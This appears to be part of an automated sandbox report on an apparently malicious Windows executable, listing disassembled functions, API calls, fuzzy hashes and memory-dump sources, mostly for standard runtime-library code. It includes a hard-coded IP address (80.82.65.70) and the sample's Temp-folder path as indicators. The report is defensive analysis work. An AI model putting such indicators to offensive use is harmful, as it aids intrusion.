
_ValidateLocalCookies.LIBCMT ref: 0040B7F7
___except_validate_context_record.LIBVCRUNTIME ref: 0040B7FF
_ValidateLocalCookies.LIBCMT ref: 0040B888
__IsNonwritableInCurrentImage.LIBCMT ref: 0040B8B3
_ValidateLocalCookies.LIBCMT ref: 0040B908

Strings

csm, xrefs: 0040B89D

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction ID: 0a5d0bd6c222bbdd43f8b319fa79a96d429a9708f3c046b0ae0cbd11a01f7e51
Opcode Fuzzy Hash: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction Fuzzy Hash: 11418535A00219DBCF10EF69C885A9EBBA5EF44318F14C17AE8147B3E2D7399905CBD9

Function 10003A20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 10003A57
___except_validate_context_record.LIBVCRUNTIME ref: 10003A5F
_ValidateLocalCookies.LIBCMT ref: 10003AE8
__IsNonwritableInCurrentImage.LIBCMT ref: 10003B13
_ValidateLocalCookies.LIBCMT ref: 10003B68

Strings

csm, xrefs: 10003AFD

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 618cc4b1c9e8ab126c58b9dfa5104022869f7905af091c597ce0ca7ba0b792b2
Instruction ID: 53213870faae5245fec6ed73a44d54790f208d332314260de239e107b7581961
Opcode Fuzzy Hash: 618cc4b1c9e8ab126c58b9dfa5104022869f7905af091c597ce0ca7ba0b792b2
Instruction Fuzzy Hash: 2A41E434A002189FDF02CF68C881A9FBBF9EF453A8F11C065E9149B356C771EA15CB91

Function 100072FC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 10007353
ext-ms-, xrefs: 10007367

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: cde85c6b5c8b57cdf34b7df1744eca22314f2c72a21997f039bbb8b7806936d4
Instruction ID: 4a8ea71034e84b8525c0961ad639e20c08c2bf99947945f029ec6b94e21b7784
Opcode Fuzzy Hash: cde85c6b5c8b57cdf34b7df1744eca22314f2c72a21997f039bbb8b7806936d4
Instruction Fuzzy Hash: DC219671E01321EBF722DB648C81A4E37A4FB456E0B214124ED59A7195D778EE00A6E1

Function 00413339 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00413448,00403597,?,00000000,00402809,0040280B,?,004135C1,00000022,FlsSetValue,00422950,00422958,00402809), ref: 004133FA

Strings

ext-ms-, xrefs: 004133A4
api-ms-, xrefs: 00413390

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: b8c7e483e8ea991eea5b44eb111e182d5bd336103010429673e37ca0c8998616
Instruction ID: 89836d951bc72d4e20e2faa1a52db581b462940ce5fd44a8dff6846afbaeb460
Opcode Fuzzy Hash: b8c7e483e8ea991eea5b44eb111e182d5bd336103010429673e37ca0c8998616
Instruction Fuzzy Hash: A3212731B01214EBDB329F21DC44ADB7B68AB41765B200133ED15A73D1DA78EE46C6DC

Function 1000C5BF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 1000C587: _free.LIBCMT ref: 1000C5AC

_free.LIBCMT ref: 1000C60D

Part of subcall function 10007A3C: RtlFreeHeap.NTDLL(00000000,00000000,?,100066F0), ref: 10007A52
Part of subcall function 10007A3C: GetLastError.KERNEL32(?,?,100066F0), ref: 10007A64

_free.LIBCMT ref: 1000C618
_free.LIBCMT ref: 1000C623
_free.LIBCMT ref: 1000C677
_free.LIBCMT ref: 1000C682
_free.LIBCMT ref: 1000C68D
_free.LIBCMT ref: 1000C698

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: c4c0a627cdf80609df9843e8342f0dd46d11e13b3267d69b732be6628a16741d
Instruction ID: 1780f257e170a803287b818d598211b5e25d48ac92953e35ea001cf34306b7c8
Opcode Fuzzy Hash: c4c0a627cdf80609df9843e8342f0dd46d11e13b3267d69b732be6628a16741d
Instruction Fuzzy Hash: 25115479940B08AAF520EB70CC47FCF7B9CEF457C1F400819B29D76097DA75B6484AA1

Function 1000B6D8 Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 1000B720
__fassign.LIBCMT ref: 1000B905
__fassign.LIBCMT ref: 1000B922
WriteFile.KERNEL32(?,10009A1A,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000B96A
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 1000B9AA
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000BA52

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 32d4bb0d0fb78e9b700753294cc147154fce03c70a5209c95aaa7034331b4c1e
Instruction ID: 817bf58f8fa712ded97291eda06853010b29bdec4c6be72b636a35a8a914ce65
Opcode Fuzzy Hash: 32d4bb0d0fb78e9b700753294cc147154fce03c70a5209c95aaa7034331b4c1e
Instruction Fuzzy Hash: 9DC1CF75D006989FEB11CFE8C8809EDBBB5EF09354F28816AE855F7245D631AE42CB60

Function 04B7BBEB Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,04B7BBE2,04B7B186,04B7A997), ref: 04B7BBF9
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 04B7BC07
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 04B7BC20
SetLastError.KERNEL32(00000000,04B7BBE2,04B7B186,04B7A997), ref: 04B7BC72

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction ID: 46144a5b57b50a22c58ebf73585da01c00834658ee8efe778da450e8f9961393
Opcode Fuzzy Hash: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction Fuzzy Hash: 7401883630D611DEA7342BBD7CC49AB2F54EB0567C72082BDF535661E1EE5178027584

Function 0040B984 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0040B97B,0040AF1F,0040A730), ref: 0040B992
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0040B9A0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0040B9B9
SetLastError.KERNEL32(00000000,0040B97B,0040AF1F,0040A730), ref: 0040BA0B

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction ID: c1383cefff0a9c77c0f6256a7d22d0577fd0bc713188e5814d490c4ea7085b9f
Opcode Fuzzy Hash: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction Fuzzy Hash: 6D0192727197119EE63427B97CC6A6B2B94EB01778760033BF520752E2EB39480255CC

Function 10003DFA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,10003C01,10002DB0,100027A7,?,100029DF,?,00000001,?,?,00000001,?,100167D8,0000000C,10002AD8), ref: 10003E08
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 10003E16
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 10003E2F
SetLastError.KERNEL32(00000000,100029DF,?,00000001,?,?,00000001,?,100167D8,0000000C,10002AD8,?,00000001,?), ref: 10003E81

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6af44c204d35e0e87e783e409bd385f4178bd984da96cbfbdded34095f80bc15
Instruction ID: cea4d4d1ab0609a38d25ccf127c64f3389598815618148a6298b3cccc824aafb
Opcode Fuzzy Hash: 6af44c204d35e0e87e783e409bd385f4178bd984da96cbfbdded34095f80bc15
Instruction Fuzzy Hash: 610124379083A66EF25BC7B49CC964B379AEB0D3F53208329F114410F8EFA29E45A244

Function 04B71837 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 04B7183C

Part of subcall function 04B79AA9: std::invalid_argument::invalid_argument.LIBCONCRT ref: 04B79AB5

MultiByteToWideChar.KERNEL32(00000000,00000000,?,12041A13,00000000,00000000,?,?,80.82.65.70,?,?,?,80.82.65.70), ref: 04B71872
MultiByteToWideChar.KERNEL32(00000000,00000000,?,12041A13,00000000,?,80.82.65.70,?,?,?,80.82.65.70), ref: 04B718A9
Concurrency::cancel_current_task.LIBCPMT ref: 04B719BE

Strings

80.82.65.70, xrefs: 04B7184D

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$Concurrency::cancel_current_taskXinvalid_argumentstd::_std::invalid_argument::invalid_argument
String ID: 80.82.65.70
API String ID: 2123813255-3792037518
Opcode ID: 76bb2ae1955411a23ec2113ce7c3df1698fa8cdaa81397e4e46f03e77a8728ac
Instruction ID: 696ebb61e2ebf9bc3609cb5113dc8b1a539dbe659005a64337d7df97b9e672f8
Opcode Fuzzy Hash: 76bb2ae1955411a23ec2113ce7c3df1698fa8cdaa81397e4e46f03e77a8728ac
Instruction Fuzzy Hash: 29412BB1A00300ABE7149F789C84B5ABAF8EF44314F1006A9E97AD7381E771BD05C7B1

Function 10008336 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe, xrefs: 1000833B

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe
API String ID: 0-2455959742
Opcode ID: ddfca3805b10fb0c405c12195d97b130fb222a2330a05fb996068ff6147a541c
Instruction ID: d1df9cd49d1a9d965a935ddcfcfd3b9185eaf4079d6f623355f3cc1fa6217373
Opcode Fuzzy Hash: ddfca3805b10fb0c405c12195d97b130fb222a2330a05fb996068ff6147a541c
Instruction Fuzzy Hash: C821D075A00206BFF710DF61CC8090B779CFF846E47108124FA949215AEB31EF0087A0

Function 00410580 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,1A9D1BBA,0040280B,?,00000000,0041DA7B,000000FF,?,0041055C,08758BC2,?,00410530,00000016), ref: 004105B5
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 004105C7
FreeLibrary.KERNEL32(00000000,?,00000000,0041DA7B,000000FF,?,0041055C,08758BC2,?,00410530,00000016), ref: 004105E9

Strings

mscoree.dll, xrefs: 004105AE
CorExitProcess, xrefs: 004105BF

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: d9f390a0c8d24d43879d0675fee7d7aa557a7bdfd7840f409546c87a96f2ba59
Instruction ID: f4dd53f2cc94282f557b0741292325b7031a84366b21a1c3c136dd1e19965a8c
Opcode Fuzzy Hash: d9f390a0c8d24d43879d0675fee7d7aa557a7bdfd7840f409546c87a96f2ba59
Instruction Fuzzy Hash: F501A271A44625FBDB128F80DC05BEEBBB9FB04B51F004536F811A22A0DBB8A944CB58

Function 10005FAA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,10005F5C,?,?,10005F24,?,?,?), ref: 10005FBF
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 10005FD2
FreeLibrary.KERNEL32(00000000,?,?,10005F5C,?,?,10005F24,?,?,?), ref: 10005FF5

Strings

CorExitProcess, xrefs: 10005FCA
mscoree.dll, xrefs: 10005FB8

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 72e1e31047de7c6f2cb357695238b525e407410b4f5b93aeb37e18346654144b
Instruction ID: ce5d81a5a20928f213bfffb098e7a6005668583a74e8757c7f390ca8b74bdc84
Opcode Fuzzy Hash: 72e1e31047de7c6f2cb357695238b525e407410b4f5b93aeb37e18346654144b
Instruction Fuzzy Hash: 1BF01C31904129FBEB06DB91CD0ABEE7AB9EB047D6F1041B4F501A21A4CBB5CE41DB90

Function 1000A5DD Relevance: 7.7, APIs: 5, Instructions: 244COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,1000A899,00000000,00000000,00000000,00000001,?,?,?,?,00000001), ref: 1000A680
__alloca_probe_16.LIBCMT ref: 1000A736
__alloca_probe_16.LIBCMT ref: 1000A7CC
__freea.LIBCMT ref: 1000A837
__freea.LIBCMT ref: 1000A843

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: __alloca_probe_16__freea$Info
String ID:
API String ID: 2330168043-0
Opcode ID: 8cc199d558b997503fdcee74a17b35d0cfef9a10842a3a6720ec3a40d10b29e0
Instruction ID: 1dd90d70d9504398cfa9d6ef4ea6864651e072268de8b4bf5549d7cf43e308ef
Opcode Fuzzy Hash: 8cc199d558b997503fdcee74a17b35d0cfef9a10842a3a6720ec3a40d10b29e0
Instruction Fuzzy Hash: C081A472D042569BFF11CE648C81ADE7BF5EF0B6D0F158265E904AB148DB369DC1CBA0

Function 1000AFB7 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 1000B03B
__alloca_probe_16.LIBCMT ref: 1000B101
__freea.LIBCMT ref: 1000B16D

Part of subcall function 100079EE: RtlAllocateHeap.NTDLL(00000000,10001F83,?,?,10002743,10001F83,?,10001F83,0007A120), ref: 10007A20

__freea.LIBCMT ref: 1000B176
__freea.LIBCMT ref: 1000B199

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: e63f2a8978e00137fdd1d9a780ebd3875915c182c7a46276be8a26015b9944ff
Instruction ID: ca0e6193c5ab93552cef367aef9b2c098b98f9a761b18089088d519bce5e91c7
Opcode Fuzzy Hash: e63f2a8978e00137fdd1d9a780ebd3875915c182c7a46276be8a26015b9944ff
Instruction Fuzzy Hash: 6651C072600616ABFB21CF64CC81EAF37E9EF456D0F624129FD14A7158EB34EC5197A0

Function 04D24410 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 04D24495
__alloca_probe_16.LIBCMT ref: 04D2455E
__freea.LIBCMT ref: 04D245C5
__freea.LIBCMT ref: 04D245D8
__freea.LIBCMT ref: 04D245E5

Memory Dump Source

Source File: 00000007.00000003.2941756501.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_4d10000_4611cc433b.jbxd

Similarity

API ID: __freea$__alloca_probe_16
String ID:
API String ID: 3509577899-0
Opcode ID: c409ed0a73a31f3b78c849091ec1d6b89a85a3ccc37d0e928c6a0ebb1540a73b
Instruction ID: ac3f8945c145c1e42f0d57a3a44e0cdf93e6509e6ccb2dcaf94a123c8b3c1567
Opcode Fuzzy Hash: c409ed0a73a31f3b78c849091ec1d6b89a85a3ccc37d0e928c6a0ebb1540a73b
Instruction Fuzzy Hash: C351DF72700267BFEB219F609E88EBB36A9FF6471CB150129FE54DA110EA71EC50C670

Function 00415010 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00415095
__alloca_probe_16.LIBCMT ref: 0041515E
__freea.LIBCMT ref: 004151C5

Part of subcall function 00413C79: RtlAllocateHeap.NTDLL(00000000,00402809,00402805,?,0040AD1B,0040280B,00402805,80.82.65.70,?,?,00403597,?,00402809,00402805), ref: 00413CAB

__freea.LIBCMT ref: 004151D8
__freea.LIBCMT ref: 004151E5

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: c0223aac213706da923d74aec6f81ab2cdbbbf03147a9c613dee044af7b571ef
Instruction ID: def92c4ecd74f4627ee81fabb5ad5435351d3551a42f570b1979e48308b83863
Opcode Fuzzy Hash: c0223aac213706da923d74aec6f81ab2cdbbbf03147a9c613dee044af7b571ef
Instruction Fuzzy Hash: 1A51B372A00646FFDB225FA1CC41FFB3AA9EF84754B25002FFD04D6251EA39CD918668

Function 04B72C87 Relevance: 7.6, APIs: 5, Instructions: 113memorywindowCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 04B72D2F
GetLastError.KERNEL32(00000400,?,00000000,00000000,?,?,?,?), ref: 04B72D44
FormatMessageA.KERNEL32(00001300,00000000,00000000,?,?,?,?), ref: 04B72D52
LocalAlloc.KERNEL32(00000040,?,?,?,?,?), ref: 04B72D6D
OutputDebugStringA.KERNEL32(00000000,?,?), ref: 04B72D8C

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: AllocDebugErrorFormatLastLocalMessageOutputProtectStringVirtual
String ID:
API String ID: 2509773233-0
Opcode ID: 135e4059f0a8e16b6c40cfe3354c74ba5c0e8907b24caca148f615c37fe0627b
Instruction ID: aed497c7af28edf22d467efe6fd9785cc7a160d328f0772fc87001376cc74ea9
Opcode Fuzzy Hash: 135e4059f0a8e16b6c40cfe3354c74ba5c0e8907b24caca148f615c37fe0627b
Instruction Fuzzy Hash: C7312636B00104AFEB14DF68DC40FAABBA8EF48300F4541E9EA15EB251DB31AD16CB94

Function 10002986 Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 100029C3
dllmain_crt_dispatch.LIBCMT ref: 100029DA
dllmain_raw.LIBCMT ref: 10002A22
dllmain_crt_dispatch.LIBCMT ref: 10002A35
dllmain_raw.LIBCMT ref: 10002A48

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: c90a93295f6bc331d57bb8f47297671563acdadf013a8df03a89f4d1d37c88ce
Instruction ID: 86b98bd5048e9daedf5606c3f96c4c2c05ee8e367bee4de8e4e1682ebb6c2564
Opcode Fuzzy Hash: c90a93295f6bc331d57bb8f47297671563acdadf013a8df03a89f4d1d37c88ce
Instruction Fuzzy Hash: EA21A476E0526AAFFB32CF55CC41ABF3AA9EB85AD0F014115FC4867258CB309D419BD1

Function 1000C51E Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 1000C536

Part of subcall function 10007A3C: RtlFreeHeap.NTDLL(00000000,00000000,?,100066F0), ref: 10007A52
Part of subcall function 10007A3C: GetLastError.KERNEL32(?,?,100066F0), ref: 10007A64

_free.LIBCMT ref: 1000C548
_free.LIBCMT ref: 1000C55A
_free.LIBCMT ref: 1000C56C
_free.LIBCMT ref: 1000C57E

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5af9cd1d934eff50961f68469d6981d65bd4349cdb7ac1437da5aad4e87a5e75
Instruction ID: 9141c028a1f6e8267eca5b553c4c44ea57822cd8596d4ab818939ac7a44c1903
Opcode Fuzzy Hash: 5af9cd1d934eff50961f68469d6981d65bd4349cdb7ac1437da5aad4e87a5e75
Instruction Fuzzy Hash: BEF0E739A046289BE650DB68ECC2C1A73D9FB456E17608805F448E7699CB34FFC08AA4

Function 10007CBA Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 10007E54

Strings

*?, xrefs: 10007CFD

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 5cf7f851aaec087829ec43eeaab6f60b67ed4c75ee81a41c35adb74eb9a8a420
Instruction ID: 7b94f7270babd41a129a228fbe6cecbdc5f775369f8c1ab1d48f9322781d5c4e
Opcode Fuzzy Hash: 5cf7f851aaec087829ec43eeaab6f60b67ed4c75ee81a41c35adb74eb9a8a420
Instruction Fuzzy Hash: 0C614175D0021A9FEB14CFA9C8815EDFBF5FF48390B2581AAE809F7344D675AE418B90

Function 04B71567 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 04B79EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B79EF7
Part of subcall function 04B79EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B79F34

__Init_thread_footer.LIBCMT ref: 04B715F3

